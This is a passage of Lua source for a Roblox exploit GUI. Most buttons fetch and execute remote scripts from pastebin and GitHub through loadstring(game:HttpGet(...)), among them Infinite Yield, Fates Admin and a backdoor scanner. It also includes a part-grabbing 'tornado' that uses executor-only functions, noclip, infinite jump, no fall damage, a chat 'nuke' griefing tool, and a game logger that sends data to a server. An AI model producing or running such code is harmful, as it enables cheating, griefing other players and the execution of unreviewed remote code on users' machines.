sample:sub(1, charCount) local strlen = string.len(sample) local counter = 1 local timer = 0 for i,v in pairs(scrollText:split("")) do if v ~= " " then continue end spaces += 1 end table.insert(genv.connections, rs.Heartbeat:Connect(function(dt) timer += dt if timer > scrollSpeed then while timer > scrollSpeed do timer -= scrollSpeed counter = (counter + 1)%strlen end if counter + charCount <= strlen then displayString = sample:sub(counter, counter + charCount) else displayString = sample:sub(counter, strlen)..sample:sub(1, counter + charCount - strlen) end end box.PlaceholderText = (("%s"):format(displayString)) end)) --[[Sort commands alphabetically]]-- table.sort(commands, function(a,b) return a.name < b.name end) --[[Add command list logic]]-- for i,v in pairs(commands) do local level = v.securityLevel local clone = cmdTemplate:Clone() clone.Text = v.name .. ` ({rankNames[level]})` clone.Name = v.name clone.Visible = true clone.Parent = cmdsList end table.insert(genv.connections, closeButton.MouseButton1Click:Connect(function() cmdsFrame.Visible = false end)) --[[Add drag functionality]]-- local dragging local dragInput local dragStart local startPos local lastMousePos local lastGoalPos local dragSpeed = 20 local function update(dt) if not (startPos) then return end if not (dragging) and (lastGoalPos) then cmdsFrame.Position = UDim2.new(startPos.X.Scale, lerp(cmdsFrame.Position.X.Offset, lastGoalPos.X.Offset, dt * dragSpeed), startPos.Y.Scale, lerp(cmdsFrame.Position.Y.Offset, lastGoalPos.Y.Offset, dt * dragSpeed)) return end local delta = (lastMousePos - uis:GetMouseLocation()) local xGoal = (startPos.X.Offset - delta.X) local yGoal = (startPos.Y.Offset - delta.Y) lastGoalPos = UDim2.new(startPos.X.Scale, xGoal, startPos.Y.Scale, yGoal) cmdsFrame.Position = UDim2.new(startPos.X.Scale, lerp(cmdsFrame.Position.X.Offset, xGoal, dt * dragSpeed), startPos.Y.Scale, lerp(cmdsFrame.Position.Y.Offset, yGoal, dt * dragSpeed)) end cmdsFrame.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = true dragStart = input.Position startPos = cmdsFrame.Position lastMousePos = uis:GetMouseLocation() input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragging = false end end) end end) cmdsFrame.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then dragInput = input end end) table.insert(genv.connections,rs.Heartbeat:Connect(update)) --[[send to game logger]]-- if not inDatabase then local function promptCallback(answer) if answer == "No" then return end local char = character if not char then return end local part = char:FindFirstChildOfClass("Part") or char:FindFirstChildOfClass("Humanoid") delete(part) task.wait(.5) if localPlayer.Character ~= char or part.Parent == char then return end sendGame() debugPrint("game sent to server") end local bindable = Instance.new("BindableFunction") bindable.OnInvoke = promptCallback sgui:SetCore("SendNotification", { Title = "Game logger"; Text = "Do you want to log this game?", Duration = 300, Button1 = "Yes", Button2 = "No", Icon = "rbxassetid://82490397343155", Callback = bindable }) end debugPrint("QuirkyCMD loaded successfully!") end) end; task.spawn(C_100); -- StarterGui.CoolGui.Frame.Page6.Section1.Button.LocalScript local function C_102() local script = G2L["102"]; local button = script.Parent button.MouseButton1Down:connect(function() return loadstring(game:HttpGetAsync("https://raw.githubusercontent.com/jLn0n/beckdeer-skenner/main/src/main.lua"))() end) end; task.spawn(C_102); -- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript local function C_109() local script = G2L["109"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() loadstring(game:HttpGet("https://raw.githubusercontent.com/fatesc/fates-admin/main/main.lua"))(); end) end; task.spawn(C_109); -- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript local function C_10b() local script = G2L["10b"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() loadstring(game:HttpGet("https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source"))() end) end; task.spawn(C_10b); -- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript local function C_10d() local script = G2L["10d"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() loadstring(game:HttpGet('https://pastebin.com/raw/4z9GWRY6'))() end) end; task.spawn(C_10d); -- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript local function C_10f() local script = G2L["10f"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() loadstring(game:HttpGet('https://pastebin.com/raw/yBLDEdDn'))() end) end; task.spawn(C_10f); -- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript local function C_111() local script = G2L["111"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() loadstring(game:HttpGet('https://raw.githubusercontent.com/alexx1212/fedoratoomutch/main/toomucth'))() end) end; task.spawn(C_111); -- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript local function C_113() local script = G2L["113"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() loadstring(game:HttpGet("https://raw.githubusercontent.com/ocfi/aqua-hub-is-a-skid-lol/refs/heads/main/animatrix"))() end) end; task.spawn(C_113); -- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript local function C_115() local script = G2L["115"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() loadstring(game:HttpGet("https://rawscripts.net/raw/OpFinality_590"))() end) end; task.spawn(C_115); -- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript local function C_117() local script = G2L["117"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() loadstring(game:HttpGet("https://raw.githubusercontent.com/Malrous/NA-Revamped/heads/main/NAexecutor.lua"))() end) end; task.spawn(C_117); -- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript local function C_119() local script = G2L["119"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() local lp = game:GetService("Players").LocalPlayer local function gplr(String) local Found = {} local strl = String:lower() for i, v in pairs(game:GetService("Players"):GetPlayers()) do if v.Name:lower():sub(1, #String) == strl then table.insert(Found, v) end end return Found end local function notif(str, dur) game:GetService("StarterGui"):SetCore("SendNotification", { Title = "bomb gui", Text = str, Icon = "rbxassetid://2005276185", Duration = dur or 3 }) end -- GUI creation local h = Instance.new("ScreenGui") local Main = Instance.new("ImageLabel") local Top = Instance.new("Frame") local Title = Instance.new("TextLabel") local TextBox = Instance.new("TextBox") local TextButton = Instance.new("TextButton") h.Name = "h" h.Parent = game:GetService("CoreGui") h.ResetOnSpawn = false Main.Name = "Main" Main.Parent = h Main.Active = true Main.Draggable = true Main.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Main.BorderSizePixel = 0 Main.Position = UDim2.new(0.174545452, 0, 0.459574461, 0) Main.Size = UDim2.new(0, 454, 0, 218) Main.Image = "" Top.Name = "Top" Top.Parent = Main Top.BackgroundColor3 = Color3.fromRGB(57, 57, 57) Top.BorderSizePixel = 0 Top.Size = UDim2.new(0, 454, 0, 44) Title.Name = "Title" Title.Parent = Top Title.BackgroundColor3 = Color3.fromRGB(49, 49, 49) Title.BorderSizePixel = 0 Title.Position = UDim2.new(0, 0, 0.295454562, 0) Title.Size = UDim2.new(0, 454, 0, 30) Title.Font = Enum.Font.SourceSans Title.Text = "Bomb Planter" Title.TextColor3 = Color3.fromRGB(255, 255, 255) Title.TextScaled = true Title.TextSize = 14.000 Title.TextWrapped = true TextBox.Parent = Main TextBox.BackgroundColor3 = Color3.fromRGB(49, 49, 49) TextBox.BorderSizePixel = 0 TextBox.Position = UDim2.new(0.0704845786, 0, 0.270642221, 0) TextBox.Size = UDim2.new(0, 388, 0, 62) TextBox.Font = Enum.Font.SourceSans TextBox.PlaceholderText = "Who do I plant bomb on (can be shortened)" TextBox.Text = "" TextBox.TextColor3 = Color3.fromRGB(255, 255, 255) TextBox.TextScaled = true TextBox.TextSize = 14.000 TextBox.TextWrapped = true TextButton.Parent = Main TextButton.BackgroundColor3 = Color3.fromRGB(49, 49, 49) TextButton.BorderSizePixel = 0 TextButton.Position = UDim2.new(0.10352423, 0, 0.596330225, 0) TextButton.Size = UDim2.new(0, 359, 0, 50) TextButton.Font = Enum.Font.SourceSans TextButton.Text = "Plant" TextButton.TextColor3 = Color3.fromRGB(255, 255, 255) TextButton.TextScaled = true TextButton.TextSize = 14.000 TextButton.TextWrapped = true local function sendMessage(message) local textChannel = game.TextChatService.TextChannels.RBXGeneral textChannel:SendAsync(message) end local function triggerNuke(targetPlayer) if targetPlayer then sendMessage("!!!A NUKE HAS BEEN PLACED ON "..targetPlayer.DisplayName.." KILLING THEM WILL GET EVERYONE DEAD!!!") repeat task.wait() until targetPlayer.Character and targetPlayer.Character:FindFirstChildOfClass("Humanoid") and targetPlayer.Character:FindFirstChildOfClass("Humanoid").Health < 1 sendMessage(targetPlayer.DisplayName.." IS DEAD NUKE LAUNCHING!!!") wait(1.5) sendMessage("LAUNCHING IN 3") wait(1.5) sendMessage("LAUNCHING IN 2") wait(1.5) sendMessage("LAUNCHING IN 1") wait(3) loadstring(game:HttpGet("https://pastebin.com/raw/zqyDSUWX"))() else warn("Player not found, did you use their username?") end end TextButton.MouseButton1Click:Connect(function() local Targets = gplr(TextBox.Text) if #Targets > 0 then local Target = Targets[1] triggerNuke(Target) else notif("Player not found", 3) end end) end) end; task.spawn(C_119); -- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript local function C_11b() local script = G2L["11b"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() loadstring(game:HttpGet("https://raw.githubusercontent.com/ltseverydayyou/Nameless-Admin/main/Source.lua"))(); end) end; task.spawn(C_11b); -- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript local function C_11d() local script = G2L["11d"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() loadstring(game:HttpGet("https://raw.githubusercontent.com/Malrous/NA-Revamped/heads/main/ScriptHubNA.lua"))() end) end; task.spawn(C_11d); -- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript local function C_11f() local script = G2L["11f"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() --[[ WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk! ]] -- The tags get stealed and i will not leak it local Players = game:GetService("Players") local RunService = game:GetService("RunService") local UserInputService = game:GetService("UserInputService") local SoundService = game:GetService("SoundService") local StarterGui = game:GetService("StarterGui") local HttpService = game:GetService("HttpService") local LocalPlayer = Players.LocalPlayer -- Sound Effects local function playSound(soundId) local sound = Instance.new("Sound") sound.SoundId = "rbxassetid://" .. soundId sound.Parent = SoundService sound:Play() sound.Ended:Connect(function() sound:Destroy() end) end -- Play initial sound playSound("2865227271") -- GUI Creation local ScreenGui = Instance.new("ScreenGui") ScreenGui.Name = "SuperRingPartsGUI" ScreenGui.ResetOnSpawn = false ScreenGui.Parent = game.CoreGui local MainFrame = Instance.new("Frame") MainFrame.Size = UDim2.new(0, 300, 0, 500) MainFrame.Position = UDim2.new(0.5, -150, 0.5, -250) MainFrame.BorderSizePixel = 0 MainFrame.Parent = ScreenGui -- Make the GUI round local UICorner = Instance.new("UICorner") UICorner.CornerRadius = UDim.new(0, 20) UICorner.Parent = MainFrame local Title = Instance.new("TextLabel") Title.Size = UDim2.new(1, 0, 0, 40) Title.Position = UDim2.new(0, 0, 0, 0) Title.Text = "Super Ring Parts V6 by lukas" Title.TextColor3 = Color3.fromRGB(0, 0, 0) Title.BackgroundColor3 = Color3.fromRGB(0, 204, 204) Title.Font = Enum.Font.Fondamento Title.TextSize = 22 Title.Parent = MainFrame -- Round the title local TitleCorner = Instance.new("UICorner") TitleCorner.CornerRadius = UDim.new(0, 20) TitleCorner.Parent = Title local ToggleButton = Instance.new("TextButton") ToggleButton.Size = UDim2.new(0.8, 0, 0, 40) ToggleButton.Position = UDim2.new(0.1, 0, 0.1, 0) ToggleButton.Text = "Ring Off" ToggleButton.BackgroundColor3 = Color3.fromRGB(255, 0, 0) ToggleButton.TextColor3 = Color3.fromRGB(0, 0, 0) ToggleButton.Font = Enum.Font.Fondamento ToggleButton.TextSize = 18 ToggleButton.Parent = MainFrame -- Round the toggle button local ToggleCorner = Instance.new("UICorner") ToggleCorner.CornerRadius = UDim.new(0, 10) ToggleCorner.Parent = ToggleButton -- Configuration table local config = { radius = 50, height = 100, rotationSpeed = 10, attractionStrength = 1000, } -- Save and load functions local function saveConfig() local configStr = HttpService:JSONEncode(config) writefile("SuperRingPartsConfig.txt", configStr) end local function loadConfig() if isfile("SuperRingPartsConfig.txt") then local configStr = readfile("SuperRingPartsConfig.txt") config = HttpService:JSONDecode(configStr) end end loadConfig() -- Function to create control buttons and textboxes local function createControl(name, positionY, color, labelText, defaultValue, callback) local DecreaseButton = Instance.new("TextButton") DecreaseButton.Size = UDim2.new(0.2, 0, 0, 40) DecreaseButton.Position = UDim2.new(0.1, 0, positionY, 0) DecreaseButton.Text = "-" DecreaseButton.BackgroundColor3 = color DecreaseButton.TextColor3 = Color3.fromRGB(0, 0, 0) DecreaseButton.Font = Enum.Font.Fondamento DecreaseButton.TextSize = 18 DecreaseButton.Parent = MainFrame local IncreaseButton = Instance.new("TextButton") IncreaseButton.Size = UDim2.new(0.2, 0, 0, 40) IncreaseButton.Position = UDim2.new(0.7, 0, positionY, 0) IncreaseButton.Text = "+" IncreaseButton.BackgroundColor3 = color IncreaseButton.TextColor3 = Color3.fromRGB(0, 0, 0) IncreaseButton.Font = Enum.Font.Fondamento IncreaseButton.TextSize = 18 IncreaseButton.Parent = MainFrame local Display = Instance.new("TextLabel") Display.Size = UDim2.new(0.4, 0, 0, 40) Display.Position = UDim2.new(0.3, 0, positionY, 0) Display.Text = labelText .. ": " .. defaultValue Display.BackgroundColor3 = Color3.fromRGB(255, 153, 51) Display.TextColor3 = Color3.fromRGB(0, 0, 0) Display.Font = Enum.Font.Fondamento Display.TextSize = 18 Display.Parent = MainFrame -- Add TextBox for input local TextBox = Instance.new("TextBox") TextBox.Size = UDim2.new(0.8, 0, 0, 35) TextBox.Position = UDim2.new(0.1, 0, positionY + 0.1, 0) TextBox.PlaceholderText = "Enter " .. labelText TextBox.BackgroundColor3 = Color3.fromRGB(0, 0, 255) TextBox.TextColor3 = Color3.fromRGB(0, 0, 0) TextBox.Font = Enum.Font.Fondamento TextBox.TextSize = 18 TextBox.Parent = MainFrame local TextBoxCorner = Instance.new("UICorner") TextBoxCorner.CornerRadius = UDim.new(0, 10) TextBoxCorner.Parent = TextBox DecreaseButton.MouseButton1Click:Connect(function() local value = tonumber(Display.Text:match("%d+")) value = math.max(0, value - 10) Display.Text = labelText .. ": " .. value callback(value) playSound("12221967") saveConfig() end) IncreaseButton.MouseButton1Click:Connect(function() local value = tonumber(Display.Text:match("%d+")) value = math.min(10000, value + 10) Display.Text = labelText .. ": " .. value callback(value) playSound("12221967") saveConfig() end) TextBox.FocusLost:Connect(function(enterPressed) if enterPressed then local newValue = tonumber(TextBox.Text) if newValue then newValue = math.clamp(newValue, 0, 10000) Display.Text = labelText .. ": " .. newValue TextBox.Text = "" callback(newValue) playSound("12221967") saveConfig() else TextBox.Text = "" end end end) end createControl("Radius", 0.2, Color3.fromRGB(153, 153, 0), "Radius", config.radius, function(value) config.radius = value saveConfig() end) createControl("Height", 0.4, Color3.fromRGB(153, 0, 153), "Height", config.height, function(value) config.height = value saveConfig() end) createControl("RotationSpeed", 0.6, Color3.fromRGB(0, 153, 153), "Rotation Speed", config.rotationSpeed, function(value) config.rotationSpeed = value saveConfig() end) createControl("AttractionStrength", 0.8, Color3.fromRGB(153, 0, 0), "Attraction Strength", config.attractionStrength, function(value) config.attractionStrength = value saveConfig() end) -- Add minimize button local MinimizeButton = Instance.new("TextButton") MinimizeButton.Size = UDim2.new(0, 30, 0, 30) MinimizeButton.Position = UDim2.new(1, -35, 0, 5) MinimizeButton.Text = "-" MinimizeButton.BackgroundColor3 = Color3.fromRGB(255, 255, 0) MinimizeButton.TextColor3 = Color3.fromRGB(0, 0, 0) MinimizeButton.Font = Enum.Font.Fondamento MinimizeButton.TextSize = 15 MinimizeButton.Parent = MainFrame -- Round the minimize button local MinimizeCorner = Instance.new("UICorner") MinimizeCorner.CornerRadius = UDim.new(0, 15) MinimizeCorner.Parent = MinimizeButton -- Minimize functionality local minimized = false MinimizeButton.MouseButton1Click:Connect(function() minimized = not minimized if minimized then MainFrame:TweenSize(UDim2.new(0, 300, 0, 40), "Out", "Quad", 0.3, true) MinimizeButton.Text = "+" for _, child in pairs(MainFrame:GetChildren()) do if child:IsA("GuiObject") and child ~= Title and child ~= MinimizeButton then child.Visible = false end end else MainFrame:TweenSize(UDim2.new(0, 300, 0, 500), "Out", "Quad", 0.3, true) MinimizeButton.Text = "-" for _, child in pairs(MainFrame:GetChildren()) do if child:IsA("GuiObject") then child.Visible = true end end end playSound("12221967") end) -- Make GUI draggable local dragging local dragInput local dragStart local startPos local function update(input) local delta = input.Position - dragStart MainFrame.Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y) end MainFrame.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = true dragStart = input.Position startPos = MainFrame.Position input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragging = false end end) end end) MainFrame.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then dragInput = input end end) UserInputService.InputChanged:Connect(function(input) if input == dragInput and dragging then update(input) end end) -- Ring Parts Claim local Workspace = game:GetService("Workspace") local character = LocalPlayer.Character or LocalPlayer.CharacterAdded:Wait() local humanoidRootPart = character:WaitForChild("HumanoidRootPart") local Folder = Instance.new("Folder", Workspace) local Part = Instance.new("Part", Folder) local Attachment1 = Instance.new("Attachment", Part) Part.Anchored = true Part.CanCollide = false Part.Transparency = 1 if not getgenv().Network then getgenv().Network = { BaseParts = {}, Velocity = Vector3.new(14.46262424, 14.46262424, 14.46262424) } Network.RetainPart = function(Part) if typeof(Part) == "Instance" and Part:IsA("BasePart") and Part:IsDescendantOf(Workspace) then table.insert(Network.BaseParts, Part) Part.CustomPhysicalProperties = PhysicalProperties.new(0, 0, 0, 0, 0) Part.CanCollide = false end end local function EnablePartControl() LocalPlayer.ReplicationFocus = Workspace RunService.Heartbeat:Connect(function() sethiddenproperty(LocalPlayer, "SimulationRadius", math.huge) for _, Part in pairs(Network.BaseParts) do if Part:IsDescendantOf(Workspace) then Part.Velocity = Network.Velocity end end end) end EnablePartControl() end local function ForcePart(v) if v:IsA("Part") and not v.Anchored and not v.Parent:FindFirstChild("Humanoid") and not v.Parent:FindFirstChild("Head") and v.Name ~= "Handle" then for _, x in next, v:GetChildren() do if x:IsA("BodyAngularVelocity") or x:IsA("BodyForce") or x:IsA("BodyGyro") or x:IsA("BodyPosition") or x:IsA("BodyThrust") or x:IsA("BodyVelocity") or x:IsA("RocketPropulsion") then x:Destroy() end end if v:FindFirstChild("Attachment") then v:FindFirstChild("Attachment"):Destroy() end if v:FindFirstChild("AlignPosition") then v:FindFirstChild("AlignPosition"):Destroy() end if v:FindFirstChild("Torque") then v:FindFirstChild("Torque"):Destroy() end v.CanCollide = false local Torque = Instance.new("Torque", v) Torque.Torque = Vector3.new(100000, 100000, 100000) local AlignPosition = Instance.new("AlignPosition", v) local Attachment2 = Instance.new("Attachment", v) Torque.Attachment0 = Attachment2 AlignPosition.MaxForce = 9999999999999999999999999999999 AlignPosition.MaxVelocity = math.huge AlignPosition.Responsiveness = 200 AlignPosition.Attachment0 = Attachment2 AlignPosition.Attachment1 = Attachment1 end end -- Edits local ringPartsEnabled = false local function RetainPart(Part) if Part:IsA("BasePart") and not Part.Anchored and Part:IsDescendantOf(workspace) then if Part.Parent == LocalPlayer.Character or Part:IsDescendantOf(LocalPlayer.Character) then return false end Part.CustomPhysicalProperties = PhysicalProperties.new(0, 0, 0, 0, 0) Part.CanCollide = false return true end return false end local parts = {} local function addPart(part) if RetainPart(part) then if not table.find(parts, part) then table.insert(parts, part) end end end local function removePart(part) local index = table.find(parts, part) if index then table.remove(parts, index) end end for _, part in pairs(workspace:GetDescendants()) do addPart(part) end workspace.DescendantAdded:Connect(addPart) workspace.DescendantRemoving:Connect(removePart) RunService.Heartbeat:Connect(function() if not ringPartsEnabled then return end local humanoidRootPart = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart") if humanoidRootPart then local tornadoCenter = humanoidRootPart.Position for _, part in pairs(parts) do if part.Parent and not part.Anchored then local pos = part.Position local distance = (Vector3.new(pos.X, tornadoCenter.Y, pos.Z) - tornadoCenter).Magnitude local angle = math.atan2(pos.Z - tornadoCenter.Z, pos.X - tornadoCenter.X) local newAngle = angle + math.rad(config.rotationSpeed) local targetPos = Vector3.new( tornadoCenter.X + math.cos(newAngle) * math.min(config.radius, distance), tornadoCenter.Y + (config.height * (math.abs(math.sin((pos.Y - tornadoCenter.Y) / config.height)))), tornadoCenter.Z + math.sin(newAngle) * math.min(config.radius, distance) ) local directionToTarget = (targetPos - part.Position).unit part.Velocity = directionToTarget * config.attractionStrength end end end end) -- Button functionality ToggleButton.MouseButton1Click:Connect(function() ringPartsEnabled = not ringPartsEnabled ToggleButton.Text = ringPartsEnabled and "Tornado On" or "Tornado Off" ToggleButton.BackgroundColor3 = ringPartsEnabled and Color3.fromRGB(50, 205, 50) or Color3.fromRGB(160, 82, 45) playSound("12221967") end) -- Get player thumbnail local userId = Players:GetUserIdFromNameAsync("Robloxlukasgames") local thumbType = Enum.ThumbnailType.HeadShot local thumbSize = Enum.ThumbnailSize.Size420x420 local content, isReady = Players:GetUserThumbnailAsync(userId, thumbType, thumbSize) StarterGui:SetCore("SendNotification", { Title = "Hey", Text = "Enjoy the Script!", Icon = content, Duration = 5 }) StarterGui:SetCore("SendNotification", { Title = "TIPS", Text = "Click Textbox To edit Any of them", Icon = content, Duration = 5 }) StarterGui:SetCore("SendNotification", { Title = "Credits", Text = "On scriptblox!", Icon = content, Duration = 5 }) -- Rainbow Background Effect local hue = 0 RunService.Heartbeat:Connect(function() hue = (hue + 0.01) % 1 MainFrame.BackgroundColor3 = Color3.fromHSV(hue, 1, 1) end) -- Rainbow TextLabel local textHue = 0 RunService.Heartbeat:Connect(function() textHue = (textHue + 0.01) % 1 Title.TextColor3 = Color3.fromHSV(textHue, 1, 1) end) -- fly gui local TextButton1 = Instance.new("TextButton") TextButton1.Parent = MainFrame TextButton1.Name = "Fly gui" TextButton1.BackgroundColor3 = Color3.fromRGB(0,0,255) TextButton1.BackgroundTransparency = 0 TextButton1.BorderSizePixel = 1 TextButton1.BorderColor3 = Color3.fromRGB(17,17,17) TextButton1.Position = UDim2.new(1,0,1) TextButton1.Size = UDim2.new(0.08,0,0.1) TextButton1.Font = Enum.Font.Legacy TextButton1.TextColor3 = Color3.fromRGB(242,243,243) TextButton1.Text = "Fly Gui" TextButton1.TextSize = 18 TextButton1.TextScaled = true TextButton1.TextWrapped = true TextButton1.Visible = true TextButton1.Active = true TextButton1.MouseButton1Click:Connect(function() loadstring(game:HttpGet('https://pastebin.com/raw/YSL3xKYU'))() end) -- no fall damage local TextButton1 = Instance.new("TextButton") TextButton1.Parent = MainFrame TextButton1.Name = "no fall damage" TextButton1.BackgroundColor3 = Color3.fromRGB(255,0,0) TextButton1.BackgroundTransparency = 0 TextButton1.BorderSizePixel = 1 TextButton1.BorderColor3 = Color3.fromRGB(17,17,17) TextButton1.Position = UDim2.new(0.9,0,1) TextButton1.Size = UDim2.new(0.08,0,0.1) TextButton1.Font = Enum.Font.Legacy TextButton1.TextColor3 = Color3.fromRGB(242,243,243) TextButton1.Text = "No fall Damage" TextButton1.TextSize = 18 TextButton1.TextScaled = true TextButton1.TextWrapped = true TextButton1.Visible = true TextButton1.Active = true TextButton1.MouseButton1Click:Connect(function() -- No Fall Damage by Pio (Discord: piomanly or ID: 311397526399877122) -- local runsvc = game:GetService("RunService") local heartbeat = runsvc.Heartbeat local rstepped = runsvc.RenderStepped local lp = game.Players.LocalPlayer local novel = Vector3.zero local function nofalldamage(chr) local root = chr:WaitForChild("HumanoidRootPart") if root then local con con = heartbeat:Connect(function() if not root.Parent then con:Disconnect() end local oldvel = root.AssemblyLinearVelocity root.AssemblyLinearVelocity = novel rstepped:Wait() root.AssemblyLinearVelocity = oldvel end) end end nofalldamage(lp.Character) lp.CharacterAdded:Connect(nofalldamage) end) -- noclip local TextButton1 = Instance.new("TextButton") TextButton1.Parent = MainFrame TextButton1.Name = "noclip" TextButton1.BackgroundColor3 = Color3.fromRGB(0,0,0) TextButton1.BackgroundTransparency = 0 TextButton1.BorderSizePixel = 1 TextButton1.BorderColor3 = Color3.fromRGB(17,17,17) TextButton1.Position = UDim2.new(0.8,0,1) TextButton1.Size = UDim2.new(0.08,0,0.1) TextButton1.Font = Enum.Font.Legacy TextButton1.TextColor3 = Color3.fromRGB(242,243,243) TextButton1.Text = "Noclip" TextButton1.TextSize = 18 TextButton1.TextScaled = true TextButton1.TextWrapped = true TextButton1.Visible = true TextButton1.Active = true TextButton1.MouseButton1Click:Connect(function() local Noclip = nil local Clip = nil function noclip() Clip = false local function Nocl() if Clip == false and game.Players.LocalPlayer.Character ~= nil then for _,v in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do if v:IsA('BasePart') and v.CanCollide and v.Name ~= floatName then v.CanCollide = false end end end wait(0.21) -- basic optimization end Noclip = game:GetService('RunService').Stepped:Connect(Nocl) end function clip() if Noclip then Noclip:Disconnect() end Clip = true end noclip() -- to toggle noclip() and clip() end) -- Inf jump local TextButton1 = Instance.new("TextButton") TextButton1.Parent = MainFrame TextButton1.Name = "Inf jump" TextButton1.BackgroundColor3 = Color3.fromRGB(0,255,0) TextButton1.BackgroundTransparency = 0 TextButton1.BorderSizePixel = 1 TextButton1.BorderColor3 = Color3.fromRGB(17,17,17) TextButton1.Position = UDim2.new(0.7,0,1) TextButton1.Size = UDim2.new(0.08,0,0.1) TextButton1.Font = Enum.Font.Legacy TextButton1.TextColor3 = Color3.fromRGB(242,243,243) TextButton1.Text = "Inf jump" TextButton1.TextSize = 18 TextButton1.TextScaled = true TextButton1.TextWrapped = true TextButton1.Visible = true TextButton1.Active = true TextButton1.MouseButton1Click:Connect(function() local InfiniteJumpEnabled = true game:GetService("UserInputService").JumpRequest:connect(function() if InfiniteJumpEnabled then game:GetService"Players".LocalPlayer.Character:FindFirstChildOfClass'Humanoid':ChangeState("Jumping") end end) end) -- Inf yield local TextButton1 = Instance.new("TextButton") TextButton1.Parent = MainFrame TextButton1.Name = "Inf yield" TextButton1.BackgroundColor3 = Color3.fromRGB(0,255,255) TextButton1.BackgroundTransparency = 0 TextButton1.BorderSizePixel = 1 TextButton1.BorderColor3 = Color3.fromRGB(17,17,17) TextButton1.Position = UDim2.new(0.6,0,1) TextButton1.Size = UDim2.new(0.08,0,0.1) TextButton1.Font = Enum.Font.Legacy TextButton1.TextColor3 = Color3.fromRGB(242,243,243) TextButton1.Text = "Inf yield" TextButton1.TextSize = 18 TextButton1.TextScaled = true TextButton1.TextWrapped = true TextButton1.Visible = true TextButton1.Active = true TextButton1.MouseButton1Click:Connect(function() loadstring(game:HttpGet('https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source'))() end) -- nameless admin local TextButton1 = Instance.new("TextButton") TextButton1.Parent = MainFrame TextButton1.Name = "nameless admin" TextButton1.BackgroundColor3 = Color3.fromRGB(0,0,0) TextButton1.BackgroundTransparency = 0 TextButton1.BorderSizePixel = 1 TextButton1.BorderColor3 = Color3.fromRGB(17,17,17) TextButton1.Position = UDim2.new(0.5,0,1) TextButton1.Size = UDim2.new(0.08,0,0.1) TextButton1.Font = Enum.Font.Legacy TextButton1.TextColor3 = Color3.fromRGB(242,243,243) TextButton1.Text = "NAMELESS" TextButton1.TextSize = 18 TextButton1.TextScaled = true TextButton1.TextWrapped = true TextButton1.Visible = true TextButton1.Active = true TextButton1.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://scriptblox.com/raw/Universal-Script-Nameless-Admin-FE-11243"))() end) -- fps local TextButton1 = Instance.new("TextButton") TextButton1.Parent = MainFrame TextButton1.Name = "FPS" TextButton1.BackgroundColor3 = Color3.fromRGB(0,0,0) TextButton1.BackgroundTransparency = 0 TextButton1.BorderSizePixel = 1 TextButton1.BorderColor3 = Color3.fromRGB(17,17,17) TextButton1.Position = UDim2.new(0.4,0,1) TextButton1.Size = UDim2.new(0.08,0,0.1) TextButton1.Font = Enum.Font.Legacy TextButton1.TextColor3 = Color3.fromRGB(242,243,243) TextButton1.Text = "FPS" TextButton1.TextSize = 18 TextButton1.TextScaled = true TextButton1.TextWrapped = true TextButton1.Visible = true TextButton1.Active = true TextButton1.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://pastebin.com/raw/ySHJdZpb",true))() end) -- Just that enjoy skidding this lol end) end; task.spawn(C_11f); -- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript local function C_123() local script = G2L["123"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() local decalID = "158118263" function exPro(root) for _, v in pairs(root:GetChildren()) do if v:IsA("Decal") and v.Texture ~= "http://www.roblox.com/asset/?id="..decalID then v.Parent = nil elseif v:IsA("BasePart") then v.Material = "Plastic" v.Transparency = 0 local One = Instance.new("Decal", v) local Two = Instance.new("Decal", v) local Three = Instance.new("Decal", v) local Four = Instance.new("Decal", v) local Five = Instance.new("Decal", v) local Six = Instance.new("Decal", v) One.Texture = "http://www.roblox.com/asset/?id="..decalID 